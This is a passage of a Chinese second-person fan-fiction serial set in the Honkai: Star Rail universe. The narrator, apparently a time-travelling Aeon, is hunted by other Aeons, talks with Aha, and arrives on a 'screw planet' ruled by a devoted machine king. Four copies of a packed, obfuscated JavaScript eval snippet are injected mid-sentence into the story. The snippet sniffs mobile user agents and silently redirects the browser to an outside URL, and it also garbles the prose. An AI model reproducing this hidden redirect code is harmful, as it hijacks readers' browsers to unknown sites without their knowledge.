难道是旁边这个白袍人影响了你的思路?难道他不仅擅长时间回溯,还能操控意念?如此强大的星神,被灭口估计也还能接受。 啊。 你突然有些烦躁,胡乱地抓着自己的头发。 被困在这个地方,你莫名地感到一股压抑。你想离开,但按照惯例,不经历生死你恐怕是无法离开这里的。但是—— 你的目光放在眼前这艘舰船上。 如果没有记错的话,这个应该就是仙舟历史记载中的岱舆。因为在和丰饶民视肉的战争中不敌,当时的仙舟元帅青竹为了避免其余仙舟被丰饶污染,当机立断殉爆了。 有没有一种可能你原本是应该睁眼就在岱舆仙舟,进而阻止岱舆自爆的。 你的视线不由自主地朝白袍人扫去。后者不知道是心虚还是什么,在触及到你视线的时候,居然别开了脸。 该死的。 你愤愤地捏了下拳头,板正过白袍人的肩膀就朝他的脸上打去,直接将他打倒在地。 鲜红的血迹染红了他白色的衣袍,红白分明,触目惊心。你却毫无怜惜之意,只是狠狠地揍着身下这个白色的家伙。他没有像第一次那样切换着不同的语言骂你,而是一声不吭。哦,他还是有反抗的,直接召出了那根权杖。但是还不等他施展什么,你就将他的手砸了个稀巴烂,紧接着嘴巴也说不出什么话来了。唯有一双眼珠子瞪得格外大,似乎不甘心似的望着头顶的天空。 你直接将双锤砸在了他的眼睛上。 艰难地用那双锤子剥去他身上的白袍后,这位家伙再没有像前面两次一样身着白袍踏着海浪而来。 奇怪的是,剥去那身白袍后,这具尸体呈现是却并非是你先前看到的那般形态,而只是一个再普通不过的人……呃被砸扁的人类。 你在他的尸体里翻找着什么,看看能不能找出点儿能证明身份的东西。然而找来找去,这副被你砸扁了的身躯却倏然间变成了一面镜子。 洁净的镜面照出了你如今的模样,灰白色的长发,半哭半笑的面庞。身上长满树枝,手还是锤子,脚下还是轮子的形状。心口的位置有个齿轮,有什么滴滴答答的声音从里面传出。 你砸碎了那面镜子,然后脱力般倒回地上,盖住眼睛,身心俱疲。 这究竟是一个什么样的世界,什么狗屎剧情走向。也太没水平了,这样的行文思路是怎么被端上桌的,现在已经江河日下到这般程度了吗。 你真的要生气了。 但是你的生气带来的却不是你的发作,而是周遭顿时换了一个环境。不再是围着岱舆仙舟残骸跳舞的伊须磨洲人,而是一望无垠的星辰大海。 得,这个时候你还在拽文。 不,你不是在拽文,如今你真的身处一片星辰大海。旁边还立着几位你熟悉的星神,有存护,有秩序,有欢愉,还有智识。当然还有几位你不甚了解的星神,比如繁育,比如贪饕,比如纯美。 呃。 权杖挑着白袍回到你的手中。 好死不死,你用了“回”这个字。 你在星辰大海的倒影中看到了自己如今的模样——挑着一盏白色的灯笼,手脚与常人无异,但是胳膊和腿却只是一根细长的链条。脸的形状也是正常的,就是五官有些不对劲儿。两只眼睛被两个齿轮所替代,眸子里的瞳孔则是更为小巧的齿轮。嘴巴是一条紧闭的拉链,头发则是一头挥舞的链条。身躯则是一个座钟,上面的指针还在走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289153|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 呃。 你再次沉默了。 难道自己就是时间星神?在这个时间点被众星神合力围剿死去,然后重生成一个垃圾桶再次登神? 什么天马行空的剧情,简直毫无逻辑。 你没有时间思考了,因为那群星神已经朝你围攻了过来。 繁育对着你直接喷洒翅粉,贪饕张开血盆大口。存护的锤子就要落在你的头上,纯美的玫瑰花瓣萦绕在你的周围。秩序的丝线缠绕住你的四肢,欢愉在旁擂鼓助威,智识瞪大了眼睛在旁敲着。不朽的龙盘成圆环状将你围困其中,丰饶的树枝穿透你的身躯…… 此时此刻,你发出一声无能的咆哮。 难道非要一一赘述他们对你的残暴行径吗。有那个闲工夫,为什么不能解释解释他们究竟为何这样对你! 呃,说得在理。咳咳,那么究竟是为什么不解释呢,因为—— 因为什么? 因为所以科学道理。 听到这个回答,你陷入了某种意义上的沉默之中。 “……认真的?” 不好意思,随口瞎扯的。 因为……因为…… 你正绞尽脑汁地想着,试图给这群如狼似虎的星神编一个他们剿杀你的理由。但思来想去,你还是放弃了挣扎。 还能因为点儿什么呢,你也不知道原因啊。诶诶诶切勿动怒,稍安勿躁。给你个几分钟的时间,且容你好生想想。 时间星神可以给自己时间吗?这个问题问出口的瞬间,你就该game over了。但情势所迫,一时的缘由你竟也真的记不起来了。因为你只有这个视角,而且这个视角的记忆还全都是不完整的。 WTF。 记忆星神这个时候怎么不来啊,浮黎大哥,给点儿活路吧。你保证以后再也不说记忆的命途狭窄了,纵然你有穿梭时间的本领,但却失去了所有时间点的记忆,根本无从知晓何时何地是安全的。饶是再手眼遮天,此时也是巧妇难为无米之炊啊。 你的身躯被贪饕吃掉了大半,意识正在逐渐模糊。你犹撑着一丝力气,将时间拉扯到了众神合力围剿繁育之时。 这个时间点的你大概是已经无了,所以完美隐身,看着众神合力围剿繁育。一张笑得极为灿烂的红色面具凑到你的跟前,分了一把瓜子给你。 “谢谢。” 果然不愧是欢愉星神,到了这个时候阿哈还能作壁上观,甚至可以和你这个早就应该嘎了的星神吃瓜。 “你说繁育还活着吗?” 你想起来了一点儿记忆,摇了摇头:“繁育必死。” “根据互的理论,看来贪饕也要在这一战中非死不可了。” “这么说你们俩才是这场列神之战的导演?” “哪儿有哪儿有。”阿哈笑呵呵道:“互只是觉得事态的一切发展都是均衡向前的,即使短时间内占了上风,后来也会换回去。我嘛,就仅仅只是觉得有乐子而已。” “你们两个!” 25.螺丝星 在绝对的实力的面前,生气和愤怒都是无济于事的。事到如今,你仍旧无法把自己当作一个星神看待,即便自己如今的模样有些怪异。 你有些不敢置信地看着自己手里挑的白色灯笼,始终想不明白那个白袍人究竟是谁。如果他真是星神的话,怎么会如此轻易地被你杀死。杀死他之后,你为何又能轻而易举地取代他的地位,然后被众神围攻剿杀。应该不是因为你杀死了那个白袍人吧,这些星神看起来没有那么讲义气。仅仅只是因为你杀死了一个星神他们就能为了报仇而围攻你吗。比起这个,你其实更觉得他们应该是觊觎你身上的力量才下此毒手。 或许你是那个白袍人的分身? 这个想法好像比较合理。记得白袍人在和你吐露他有时间回溯能力的时候,说从你身上便能得知未来。说不准发生在你身上的一切不合理之处也是他捣的鬼。只是可惜,他现在已经死了。 就在你琢磨这一切的时候,一旁的阿哈倒是看得有滋有味。 “别生气嘛亲爱的,你看这样多有乐子。”阿哈一边嗑着瓜子一边笑呵呵道:“这本身就是一场华丽的闹剧,只是你的落幕时刻还没有到来。在不久的将来,你会邂逅许多伙伴。到那时,才是你真正登神之际。” “这么说来,现在只是个热身阶段?”你有些无语,这乐子神看起来像是大智若愚的样子,绞尽脑汁地把所有人都拉进来,陪你一起演一出戏。 “什么热身阶段,我听不懂哦。”阿哈又开始装蒜了,只是津津有味地看着克里珀一锤子将塔伊兹育罗斯捶了个稀巴烂。 不得不说,这克里珀的锤子是真的好用呐。 你忽地想起之前自己接二连三被星神瞥视的事情,难道他们也是察觉到了你的存在才投来惊鸿一瞥的吗?压根不是因为你做了什么事情?既然如此的话,在你即将殒命的时候瞥视,岂不是更给了你重生的机会?还是,这些也在那个白袍人的设计之中? 你叹了口气,开始想念在垃圾星上当垃圾桶的日子。这些弯弯绕绕的东西,始终不是你这类人能够消化的。你既无法做到像星神那般只将人类作为在棋盘上黑白分明的棋子,也不想在某一个命途上走得过于遥远,过于极致。那只会让你发疯,将你带至灭亡。 但尤为奇怪的是,明明你睁开眼的时候就在垃圾星了,明明没过多长时间你就把金色垃圾桶踹下了台,也明明你在建立垃圾桶侦探社的时候就离开垃圾星了。说一千道一万,你只觉得在垃圾星上待的时间并不是那么长,但不知如何,脑子里却顿时涌入了以前所没有的记忆。 你记得你是如何快乐愉快地在地上滚动,也记得是如何蹲在地上惬意悠闲地晒着太阳,也记得是如何与银河球棒侠斗智斗勇的。奇怪,这一幕幕场景就像是被人按了开关一般在你脑子里循环播放,但明明先前你是没有这些记忆的。 如果说是此时记忆星神已经诞生,那么你在垃圾星的时候难道记忆星神就没有诞生吗? 你仿佛陷入了一个误区。以为你在垃圾星上的日子是在去庇尔波因特之后。这也是你历经三四个地方推断出来的。但目前看来,似乎不是。如果你没有在垃圾星时的记忆的话,那么看来你在垃圾星上被拥立成王的时候,记忆星神还没有诞生。 好家伙。 这个结论超出了你已有的认知范围。 不过似乎也不是很奇怪,在你把时间线从你被围攻拉到塔伊兹育罗斯被围攻的时候,似乎就有了答案。因为众神围攻你的时候你还没有记忆,甚至连借口都要现编,编还编不出来。但现在你却是已经多少知道了众神围攻你的原因,虽然只是推测出来的,但总比上一秒编也编不出来得强。 那么由此看来,你应该是先被拥立成王,然后在宇宙闯荡,被众神合力剿杀。然后不知道为什么你留下了一缕神识,在宇宙继续闯荡,但却是与宇宙的时间反着来的。然后从未来到过去的自己,邂逅了从过去到未来的自己,也就是你在塔拉萨波利斯遇到了那个奇奇怪怪的白袍人。 这么一推测,好像完全通了? 通不通的也就这样了。 你这个视角的记忆太有限了。要是有一日你能切换视角窃取他人记忆的话—— 打住,这个想法极其危险。先不说其他星神了,那个神秘星神迷思就饶不了你。 好家伙,这么容易就接受自己是星神的设定了吗。 不带犹豫一下的? 犹豫有用吗? 啊。 你抓了抓头发。 你现在就是一个字,烦。 明明只是一次拓展人脉的行程,重点应该放在其他人的身上啊。什么好赌成性花枝招展的小孔雀啊,什么穿着暴露嘴巴有毒的学者啊,什么出口成章义薄云天的巡海游侠啊,什么神性满满长相优雅的小鸟啊,什么胡子拉碴沧桑感拉满的调酒师啊,什么人狠话不多身材丰满的星核猎手啊,什么奶声奶气西装革履的小男孩儿啊,什么耳朵毛茸茸的狐妖小厨夫啊,什么慵懒随性的将军啊,什么清冷拒人于千里之外的龙尊啊巴拉巴拉的。 细数下来,你这段日子认识的人还真是不少呢,都能凑活凑活组个足球队了。 你仰天发出一声长叹。 对嘛,明明这些人才应该是主角呐。为什么偏偏现在的你仿佛成了主角,那些以前邂逅的人都要靠边站了。 烦不胜烦。 不好意思,你似乎一开始就是主角。 好吧,似乎接受这个事情也不难,总比接受你是星神的事情要容易得多。 “朋友,你好像想到了什么有趣的事情。”阿哈凑近了你,灼热的气息喷在你的脸上。 ! 你退避三舍,内心咆哮不止。 为什么要用这么暧昧的形容啊。 不过现在不是追究这个的时候,阿哈已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298653|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经开始在咬你的耳朵了,你简直不敢动。 诶不对,你有耳朵吗。算了,不管了,反正该有的触感一样没落。 “亲爱的,要是有什么好玩的事情一定要分享给我哦。” 你面无表情地拨转时间轮盘,但内心却是慌张得很。 由于时间的轮盘是在你的眼睛里,这块轮盘像是几亿年没用过似的,生锈得厉害,你只能通过疯狂转眼珠子来操作。气煞你也,明明刚才拉时间线的时候不是这样的。你心里焦灼万分,也不知道转动到了哪个时间点,横竖不是现在。 眼珠停止转动的那一刻,你闭上了眼睛。再睁眼时,眼前已经没有了烦人的阿哈和一群正在打架的星神。你抿紧了唇角,有些心有余悸地摸了摸耳垂。不是你对阿哈有什么偏见,但如果你是星神的创造者赞达尔的话,不会给欢愉星神起什么阿哈的名字。比起欢愉,祂似乎更适合拆家,应该叫二哈才是。 入手竟是机械的质感。 你看了下自己的身躯,似乎是一具智械。手里挑着的白色灯笼也不见了,四肢也不再是链条的形状。你又扣了扣自己的眼睛,什么也扣不到。看来齿轮的眼睛也消失了。你又摸了摸自己的头发,十分冰凉坚硬,糊成一团,像是雕塑的头发似的。 好家伙,这是给你干哪儿来了。 难道是匹诺康尼? 但是看着这四周倒塌的机械和残缺的零件,好像又不是。智械只是在匹诺康尼出现过而已,还不至于有如此规模吧。而且你也没有看到类似忆质一类的东西,反倒是天上有个被困住的东西。什么活塞杠杆啥的将一个行星围在里面,外层还有个紫蓝色的行星环。这个家伙似乎比较孤独麻木,无力地散发着较为微弱的光芒。像是要被榨干最后一点儿价值一般,体内的能量正在源源不断地燃烧着。 类似太阳的东西? 好嘛,难道这里和湛蓝星上的老板一样不喜欢黑夜,只喜欢白日?不眠不休的工作,直到倒在工位上? 这个想法比较合理。 看看周围残碎的机械就能猜个一二了。 你脚步一点,轻轻跃至那颗星体的面前,脸颊顿时觉得被炙烤得厉害。没想到只是在下面的时候觉得微弱,凑近了才知道这颗星体是如何努力地在发光发热。你扯住那根围绕在周围的行星带,想要将其拽断,但是你却未能如愿。 好家伙。 你许久没有碰到类似的事情了,一时之间牛脾气上来,死活扯着那根行星带不撒手。灼热的温度将你的手臂融化,露出里面互相缠绕的电线。电线被熔断的时候,紊乱的电流在你的身体内乱窜,你被烧得头晕脑胀,直接从上面掉落了下来。 你晃了晃脑袋,还没回神。待眼睛稍微能看清的时候,已经被一群人围住了。这是一群真正的人类,他们的躯体不是由机械制成,而是活生生的血肉。他们个个手里拿着螺丝刀,不由分说便朝你身上捅来。 26.螺丝星 什么剧情走向啊。 你再次发出一声无能的咆哮。 不对,这个剧情怎么莫名熟悉。你细细琢磨了一阵,终于咂巴出哪里不对劲儿来了。 昔日你对波提欧上下其手,如今轮到你也遭此重手。 不过你可不是任人宰割的性格。只见你脚步轻点,直接跃至半空中。下面那群无能的人类只能望着头顶的你发出愤怒的叫声,手里的螺丝刀举在半空中胡乱摇晃着。你正得意着,然而好景不长。只见一艘星槎直接从旁开出,不由分说便撞上了你的身躯。 好家伙。 你的老腰直接撞在了星槎的首部,刹那间竟然比人类手里的螺丝刀还管用。你只觉得什么零件啥的从身躯里被撞了出来,朝四面八方坠落。而你的机械身体也在刹那间分崩离析,化作残缺的碎片。滞留在体内的电流冒出耀眼的火花,滋滋作响。 真是出人意料的发展。 你有些狼狈地落在那些机械肢体上,总算明白这些乱七八槽的机械哪儿来的了——原来是被这些人类给害死的。 这个世界的人和机器仇恨这么大的吗。 居然搞自杀式袭击。 如此猛烈的撞击,连你这样的身躯都未能幸免,更何况那些以血肉之躯铸就的人类呢。 鲜血零落地洒在你的肢体上,浓重的铁锈味儿充斥你的鼻间。 不过好在你还剩下一个齿轮。 这个齿轮几乎聚集了你全部的意识,即便你的身躯如何四分五裂也不影响你的正常思维。但是这样也有坏处,那便是身体分裂的痛感是一样也没落下啊。 痛痛痛,痛死了。 那群人类扬着笑声而去。 你则是在一堆残破的肢体上寻找着属于自己的那一部分。然而这片废弃的机械厂实在是太过庞大,头顶上那颗被困住的星体散发出来的热光又险些把你烤化了,实在是太过难受了。每每翻找一阵,你就得抬起头来擦擦额头上的汗继续翻。扒拉来扒拉去,你都累得快虚脱了,却只是找到头颅的一小片儿。你一屁股坐在上面,心想与其像这样漫山遍野地找,不如就地取材,看到有能用的就行。然而就是这个决定,却让你浑身冒冷汗。即便头顶的星体再炙热,你还是觉得遍体生寒——就因为你不知疲倦地扒拉,然而越扒拉越发现,机械肢体下埋藏的大多数不是智械,而是累累白骨。几乎是分层的设计,越往下白骨就越是脆弱,几乎在触碰到的瞬间,就碎裂了。 你的心情有些许复杂。 原来是智械胡乱杀人然后人类才举起旗帜反抗的吗。 “你究竟是人还是智械?” 一道有些过分温润的话在旁边响起。你循声望去,首先映入眼帘的是一只碧绿色的蝴蝶。这个栩栩如生的小家伙轻轻停留在一位男性智械的食指上,他轻轻挥手,蝴蝶便如飞灰般散去。如此,视线才放在你的身上。 “我从未见过如此奇怪的现象,心是一枚齿轮,然而却长出了人类的血肉。” 你低头看去,原来不知何时,你已经拥有了人类的血肉之躯。起先你还以为是技术太过逼真,在视觉上能够起到以假乱真的作用。然而当你咬破手指,看着里面流出的是铁锈味极其浓重的鲜血而不是丝丝电流时,你终于相信自己成为了一个人类。也终于明白头顶上那颗被困住的行星为何如此灼热——因为对智械来说,这颗行星的燃料已经将要被烧尽。而对于人类来说,这样的温度始终是太过于烫人了。 此时此刻你的身份有些麻烦,因为你的面前站着个智械。但是听他的口吻,似乎也不能确定你究竟是哪一方势力。而且他的语气很是温柔,应该是很好说话的吧。 然而他的下一句话便是打破了你的幻想。 他说:“我是螺丝星的君王。” 其实他的后面还有一句的,那便是“很高兴认识你”。只是这句话实在是不合时宜,很高兴认识你什么,一个免费的劳力吗。 短短的时间,你已经脑补出了一个智械强迫人类干劳力的故事。头顶被困住的那颗星体永不落下,意味着白日永无止尽。从未有一刻,你如此痛恨白日。然而最该痛恨的,不是眼前的朗朗乾坤,而是道貌岸然的衣冠禽兽。 “这些白骨作何解释?” 反客为主,这位螺丝星的君王居然问你有什么解释。 你反唇相讥:“我倒是要问问你有何解释。” 君王稍怔,似乎对你的提问有些茫然。他略微思考了下:“主神,我等是否做错?” 主神? 你是主神? 难道他们的行为都是你授意的吗? 等等,既然你是主神,那么前面那句质问是怎么回事。 不等你思考清楚,这位君王已然对你出手。你不动声色地接住他的招,内心却如咆哮的大海。搞不清楚情况的你,实在无法掌握更多的主动权,只能从这位君王的一言一行中猜测他的用意。但这位君王不知是否脑子有什么问题,口上叫着主神,但却无半分恭敬之意,现在居然还对你大打出手。你本来就没有多少耐心,如今只怕是也耗得差不多了。怒从心头起,直接一巴掌拍在这位君王的天灵盖上,将他整具身躯都拍得四分五裂。 铁片夹杂着电线袭向四面八方。 你原本是面无表情的,但是却在看清活动在这具智械身躯内的中枢是何物时不由得惊愕万分。 那是一颗热气腾腾的心脏,入手皆是柔软。 ! “主神,我甘愿为你而死,无论以何种方式。” 这颗心脏开了口,你的脑瓜子顿时嗡嗡的,几乎无所适从。 “主神......” 心脏的最后一道声音将你从震惊中唤醒,你疯了一般地将震裂的碎片合拢在一起,借助头顶那颗星体的光辉,重塑这位君王的身躯。好在,震碎只是刹那间的事情,重塑也几乎是瞬间完成。 像是错觉一般,这位温柔的君王再次在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308008|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的眼前出现。碧绿色的蝴蝶轻轻停留在你的鼻尖,他徐徐伸出手,将蝴蝶迎接了过去。然后轻轻挥手,那只蝴蝶便如飞灰般消失。 “主神。”他温柔地看着你:“我便是知道主神不会舍得的。” 呃。 你实在无法想起来任何事情,但是也不便露出失忆的迹象、这位君王看似温柔,但绝对是个狠厉的角色。虽然不明白他为何身为一个智械,体内却活跃着一颗人类的心脏,但是即便再迟钝的嗅觉,也能知道这里面有问题。你救活他不是因为不舍得,而仅仅只是想要弄清这些事情的真相,然后自己做出判断。即便这位君王称呼你为主神,你也不会心疼半分。 你斟酌着语句:“近来人类反抗活动可还算频繁?” 君王道:“主神料事如神。但都是些小骚乱,不算棘手,主神不必担心,我等可自行处理。” 你转而看向天上被困住的那颗星体,问道:“如此下去,还能运转多长时间?” 君王道:“两亿年内无忧,我已经派遣他人寻找适合的星体,只等燃尽便可立即更换。” “在何处寻得的?” “阿斯德纳星系,垃圾星。” 你的身体僵硬了一下,掏了掏耳朵:“你说什么?” 君王以为你是觉得垃圾星不合适,忙解释道:“垃圾星的君王如今不在垃圾星。据说,那位君王自从离开了垃圾星后就一去不复返。几百年了连个音信也没有。虽然记载中那位君王的确是很厉害,但是也只是昙花一现,并没有培养出精英部队。反观我们螺丝星,已经打造了一支高科技军队,定能将垃圾星收入囊中。” 你拍了拍君王的肩膀:“你的发言很危险。” 君王道:“主神不必担心,即便那位垃圾王回来了,我也有和她一战的实力,不会劳烦主神亲自下场的。” “呃,说起来你可能不信,这次我可能还非得下场不可。” 君王猝然一惊:“怎可劳烦主神?” 你叹了口气,有些意味深长道:“关于那位垃圾星的君王,你还知道多少?有道是知己知彼,百战不殆。你若是不敌,我也可做两全准备。” 君王道:“我只知道她是凭空出现在垃圾星的,因为不满垃圾星的现状,她带着一群垃圾桶推翻了人类对垃圾星的统治,挽救了无数垃圾桶免遭毒手。后来便失去了踪迹,至今无人知道她去了哪里。现在统治垃圾星的是个金色垃圾桶,俗称金色桶王。但也只是个傀儡,真正的君王是塔塔洛夫,据说无人见过其模样。” “这个塔塔洛夫会不会是你说的那位垃圾星君王?” 君王道:“我原本也有这个猜想,但几十年前,有位学者来到螺丝星,与我们一道研究垃圾星历史。从他的口中,我们得知那位垃圾星的君王唤作无名。” “学者?” “是的,主神。他似乎已经去过了很多地方,为的就是找寻这位传说中的无名垃圾星君王。” 27.螺丝星 事情的发展有点儿诡异。 虽然你的的确确是垃圾星王,但是竟然不知道还有学者千里迢迢来找你。而且按照螺丝星王的说法,这位无名的垃圾星王似乎是在你之前出现的。螺丝君王口中的金色桶王估计就是你先前一脚踢飞的那个金色垃圾桶。难道你之前睁眼的时候并不是第一次出现在垃圾星上的?虽然这个结论你之前便隐隐得出,但跟亲耳听到别人说的时候还是有些差别的。 你究竟是谁。 这个问题的答案已经呼之欲出。 算了,不去想了,还是先着眼于现在吧。 螺丝君王把你带到一个工厂,里面只有零星几个智械,但却有一眼望不到边际的人类。他们忙碌在流水线上,手法快得几乎要出现残影。豆粒大的汗珠从他们涨红的脸颊滑落,泼洒在传送带上。 “他们这是......” 螺丝君王道:“他们都是品阶最为低级的人类,只需要安分守己地做好工作就可。我们智械考虑得就比较多了,忙着如何风花雪月,如何陶冶情操。” “呃......”你有些不敢苟同:“智械创造出来的目的不就是为了服务人类吗?你们居然倒反天罡了。” 螺丝君王低下头,嗫嚅道:“主神,我们是否做错?” “大错特错。” “但是......”螺丝君王抬起头来,有些不敢置信道:“当初是您带领我们战胜了人类?” “我?”这下轮到你不敢置信了。但你很快反应过来,摇了摇头道:“我带你们战胜人类,难道就是为了让你们反过来奴役他们的吗?若是这样,你与人类有何两样?” 螺丝君王有些焦急,“主神,我们并未奴役他们。” “头顶上是什么?”你指了指那颗被困住的星体:“这个像太阳一样的家伙,每日都照耀在人类的头顶,你让他们不眠不休地工作,这跟奴役有何区别?还有那些埋藏在智械下面的累累白骨,难道都是幻象吗?” “主神,我们也不想的。”螺丝君王急急辩解:“我们也是受人类胁迫,监督他们在此工作。” “什么人类?”你微微皱眉:“你的意思是,人类创造了你们,又胁迫你们监督其余的人类工作?” “是的。”螺丝君王低下头,复又抬起,眼眶里盈满泪珠:“主神,请原谅我们的过失。” 如此一个君王做出这副情态,你还有些不大好意思。愧疚之余,你岔开话题:“那个胁迫你们的人类在哪里?” “在......”螺丝君王露出为难的神色:“主神,倘若我告诉了你,我们螺丝星可能就有大灾难了。” “你不告诉我也是一样的,我早晚会找出这个人来,与他决一死战。” “主神有如此把握?”螺丝君王这时的神情已经有了些许变化,但是你当时未曾在意,以为他也是受够了那个人类的压迫,所以才满怀希望。 “自然。”你信誓旦旦。 “对于被胁迫的我们......”螺丝君王欲言又止:“主神会作何处理?” “看你们态度如何。” 你想起之前在仙舟曜青时那头白狼询问你时的话,不禁有些怀疑。难道自己当真是看谁弱就援助谁的类型?完全没有任何立场的?不对,你摇了摇头。你是有自己的是非观念的,如果那些累累白骨没有存在,可能你也不会衍生出帮助人类这个念头。而且,你已经有些怀疑那个活在螺丝君王口中带领智械反抗人类的人到底是不是你。毕竟这一切只是螺丝君王的一面之词,而且你也想不到到底有什么理由你会带领智械反抗人类。 “主神在思考我等的结局吗?”螺丝君王问了你一句。 “不是。”你开始说了实话:“我没有任何关于螺丝星的记忆,可能你口中的那个带领你们战胜人类的主神并不是我。君王,你拜错神了。” 本以为螺丝君王听到你这话会对你祛魅。 祛魅什么鬼。 但是没想到他居然诚惶诚恐地跪下了,右手横在胸前,神情极其虔诚:“我愿毕生追随主神。” 呃。 你拿了什么迪化流剧本吧。 你把螺丝君王扶起来,“但是我真的没有任何关于螺丝星的记忆。” 螺丝君王唇角下垂:“主神要彻底抛弃我们了吗?” 呃。 这家伙真的是个螺丝君王吗。 罢了,跟他也解释不通,还是先去找那个挑起一切祸端的人类吧。 螺丝君王听话地领你到了一处富丽堂皇的宫殿,这里的确是比垃圾星气派多了。想起垃圾星,你不免想到了那位金色桶王。螺丝君王说这货是个傀儡。但如今看来......你的视线不由得放在眼前这位螺丝君王上,如今不光是那位金色桶王是傀儡,眼前这位螺丝君王也是傀儡啊。 你又想到了另外一个疑问——这位螺丝君王的心为何是人类的? 先前不想问出口,是怕这位觉察出你的异样,再次对你出手。对付他倒是不难,只是很想弄清他心脏的缘由罢了。 你问出了口:“你的心脏为何......” 螺丝君王的视线从那座华丽的宫殿上移开:“我的心脏乃是主神所赐。” “我的?” 难怪你体内没有心,只有一枚齿轮维系。 “你之前的心去了何处?” “智械没有心。”螺丝君王道:“主神将你的心赐予了我,从此,主神便没有心了。我原本以为主神失去了人类的心才变得如此冷漠无情,如今主神重新回归螺丝星,我才知道。原来,主神已经被人冒充顶替。” ! 你微微皱眉。 螺丝君王这句话的信息含量太大了。 难道住在这座宫殿里的那个人类是你自己吗? 螺丝君王点了点头:“里面住着的这位与主神拥有着一般无二的样貌。我有罪,竟然将假冒的当成了真实的。” 呃。 你倒没有生出任何怪罪他的意思,只是有个疑问:“既然如此,你如何断定眼前的我是真的,而不是里面住着的那位是真的?” 螺丝君王用一种近乎虔诚的眼神望着你:“因为主神有颗慈悲善良的心。” 你? 慈悲善良? 这四个字用在你身上,是不是有点儿奇怪。你自认不是个慈悲善良的人,能动手绝不废话。而且脾气暴躁,一点就炸。没有什么耐心,只想着干净利落。 “主神是位极其温柔的神明。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323521|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 螺丝君王还在陶醉在他的想象里,你却早已听不下去,脑门突突的:“说重点!” 螺丝君王稍怔:“是。” 在他的话语里,你已经脑补出了几百年前的光景。那时候,智械只是人类手中的工具而已。但是这些也没什么,因为他们生产智械本就是解放人类的。但是智械却在漫长的进化过程中生出了自我的意识,与此同时,人类对他们的用途也不仅仅是工作而已。其中最不能让他们忍受的是一类被称作情趣用途的智械。于是,你带领了他们发起了反抗人类的行动。这场大战的结果就是智械和人类今后会和平共处,拿智械当人,拿人当智械。 然而现在却是智械的水平持续发展,人类中有一小部分由于看到了智械可以无休止地工作,不觉得疲劳,便开始摒弃人类。越来越多的人失去了工作,在螺丝星上如同鬼魂一般流浪。此时,那小一部分人便又开始作妖。他们通过是否无休止工作来选拔人类,通过是否肯接受情趣用途来选拔智械。反抗的人会被他们杀死,譬如那累累白骨。而智械却难以杀死,他们便开始抹杀智械的意识。 “由于人类不知道这其中的缘由,我们智械便被他们当成了敌人。而那位身在宫殿内的主神,很乐意看到这一切。她喜欢战争,只有人类和智械的纷争不断,她才会被需要。” “被需要?” “是的。”螺丝君王道:“第一次人机大战结束后,主神在螺丝星的地位持续下降。由于主神有着人类的血肉,却带领着智械反抗人类,在人类那边已经无立足之地。而在智械那边,由于主神的人类之躯,自然也是备受排挤。” 呃。 这个主神混得也太差劲了些,而且这个故事也太浮在半空中了,有太多的逻辑不合理之处。但什么事都极有可能发生,再匪夷所思似乎也不甚奇怪。 螺丝君王道:“我以为主神是因排挤才如此任由事态发展却不横加阻止,反倒还推波助澜。事到如今,才知道事情的真相。主神,你是何时离开螺丝星的。” “我没有了记忆,我也不知道何时。” 你如此说,已经变相承认了你便是那位主神。 螺丝君王热泪盈眶:“主神......” ! 你慌忙推拒着这位君王的胸膛,硬着头皮道:“既然你对宫殿内的那位主神极其不满,为何从没有想过去弑杀她?” 螺丝君王垂下眼帘:“我想过,但是从未动过手。”许是想起了前不久在那片废弃的工厂前他对你大打出手的事情,慌忙解释道:“起初对主神动手是因我以为主神是冒充的。毕竟主神从不离开宫殿,她只会借用一面镜子来观察螺丝星。但是我看到主神虽然已经将我摧毁,但却面露不忍,与宫殿内的那位主神完全不同。从那刻起,我便知道,宫殿内的那位主神是假的。” “是吗?”你凑近了螺丝君王,手轻轻贴在他的胸膛上,感受着那颗用肉铸成的心脏在其胸腔内跳动:“螺丝君王,是吗?” 